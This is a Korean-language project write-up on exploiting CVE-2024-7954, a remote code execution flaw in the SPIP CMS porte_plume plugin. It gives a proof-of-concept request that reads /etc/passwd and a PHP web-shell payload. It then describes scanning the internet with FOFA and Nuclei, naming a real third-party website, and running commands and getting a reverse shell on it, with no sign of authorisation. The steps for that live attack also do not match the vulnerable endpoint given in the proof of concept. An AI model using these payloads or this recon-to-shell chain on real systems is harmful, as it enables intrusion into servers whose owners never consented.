원격 코드 실행 취약점(CVE-2024-7954) 악용

소프트웨어 취약점 테스트 프로젝트 제출자: Shivansh Kuntal

개요

이 프로젝트는 SPIP CMS의 porte_plume 플러그인을 통해 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2024-7954의 악용을 시연합니다. 이 취약점은 인증되지 않은 공격자가 조작된 HTTP POST 요청을 통해 대상 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다.

테스트는 통제된 로컬 환경에서 수행되었으며, 이후 FOFA와 Nuclei를 사용한 실제 환경 정찰로 확장되었습니다.

1. 환경 구성

CVE-2024-7954의 영향을 받는 것으로 확인된 SPIP CMS의 취약한 버전이, 알려진 취약 버전을 호스팅하는 GitHub 저장소를 사용하여 로컬 Apache 서버에 배포되었습니다.

사용된 도구

Burp Suite (HTTP 요청 가로채기 및 수정)
Apache 웹 서버
FOFA 검색 엔진
Nuclei 취약점 스캐너
curl (CLI 악용)

localhost에서 실행되는 SPIP 홈페이지는 설치 성공을 검증했으며 악용 대상으로 사용되었습니다.

2. 취약점 설명

porte_plume 플러그인(4.30-alpha2, 4.2.13, 4.1.16 이전 버전)은 사용자 제공 입력값의 검증(샌니타이징) 부족으로 인해 취약합니다. 공격자는 특정 양식 필드에 PHP 코드를 주입할 수 있으며, 이 코드는 이후 서버에서 렌더링되고 실행됩니다.

영향: 인증되지 않은 원격 코드 실행 심각도: 치명적(Critical) 공격 경로: 네트워크 / HTTP POST

3. 개념 증명(PoC)

악성 POST 요청

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

참고 사항

PHP 코드는 마크다운 포맷팅 엔진 내부에 주입됩니다.
서버에서 SPIP 사용자 권한으로 실행됩니다.
공격에는 인증이 필요하지 않습니다.

4. FOFA 정찰

FOFA 쿼리를 사용하여 공개된 SPIP 설치를 열거했습니다:

app="SPIP"

FOFA는 여러 메타데이터 포인트를 반환했습니다:

HTTP 헤더
제목
IP 주소 및 지리적 위치
서버 기술 스택

정찰 가치

대상 열거: 연결 가능한 SPIP CMS 서버 식별.
버전 핑거프린팅: 취약한 플러그인 버전이 활성화되어 있는지 확인.
우선순위 지정: 악용 가능성이 높은 시스템 선택.
악용 검증: 통제된 페이로드를 사용하여 엔드포인트 검증.
자동화: 일괄 스캔을 위해 FOFA 결과를 targets.txt로 내보내기.

식별된 적합한 실제 호스트:

http://www.comite-tricolore.org/

5. Nuclei를 사용한 자동화 스캔

목적

수동 악용은 느리기 때문에, 대규모 대상 집합에서 CVE-2024-7954 탐지를 자동화하기 위해 Nuclei가 사용되었습니다.

명령어 (사용자 정의 템플릿)

nuclei -l targets.txt -t CVE-2024-7954.yaml

-l targets.txt는 FOFA 결과를 로드합니다
-t는 사용자 정의 PoC 템플릿을 로드합니다

참고: 초기 템플릿은 일치 항목이 없음을 반환했습니다.

광범위한 CVE 스캔

nuclei -l targets.txt -t cves/

이 스캔은 응답하는 하나의 대상을 식별했습니다:

http://www.comite-tricolore.org/

6. 수동 검증 및 악용

1단계 — 취약한 엔드포인트 검사

방문:

http://www.comite-tricolore.org/spip.php?page=contact

확인된 사항:

이름, 이메일, 메시지 입력 필드
페이로드 주입에 적합한 POST 요청 핸들러

2단계 — PHP 페이로드 주입

Burp Suite 또는 curl을 사용하여 message 매개변수를 수정합니다:

페이로드

<?php system($_GET['cmd']); ?>

3단계 — 명령 실행 트리거

방문:

http://www.comite-tricolore.org/spip.php?page=contact&cmd=id

또는 curl 사용:

curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"

출력 결과 원격 명령 실행이 확인되었습니다.

4단계 — 리버스 셸 (최종 접근)

조작된 페이로드는 리버스 셸 콜백을 활성화하여 다음을 가능하게 합니다:

whoami
ls
전체 대화형 셸 접근

7. 주요 관찰 사항

인증되지 않은 악용은 심각도를 극적으로 증가시킵니다.
플러그인의 입력값 검증 실패가 핵심 문제입니다.
PHP가 주입되고 렌더링되면 완전한 서버 장악이 가능합니다.
리버스 셸 → 잠재적 권한 상승 → 서버 탈취.
공격은 curl, Python 스크립트 또는 Nuclei로 자동화하기 쉽습니다.

8. 결론

이 프로젝트는 정찰부터 대화형 셸 획득까지 CVE-2024-7954의 전체 악용 체인을 시연합니다.

악용 경로

정찰 (FOFA)
자동화 스캔 (Nuclei)
수동 페이로드 주입
검증된 코드 실행
리버스 셸 접근

보안 교훈

모든 사용자 제어 데이터에 대한 엄격한 입력값 검증이 필수적입니다.
플러그인은 안전한 코딩 관행을 따라야 합니다.
조직은 보안 패치를 신속하게 적용해야 합니다.
RCE 공격을 방지하려면 정기적인 취약점 평가가 필수적입니다.

이 취약점은 겉보기에 무해한 텍스트 포맷팅 플러그인이 제대로 보안되지 않을 때 완전한 시스템 장악을 초래할 수 있음을 보여줍니다.

인기

Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954-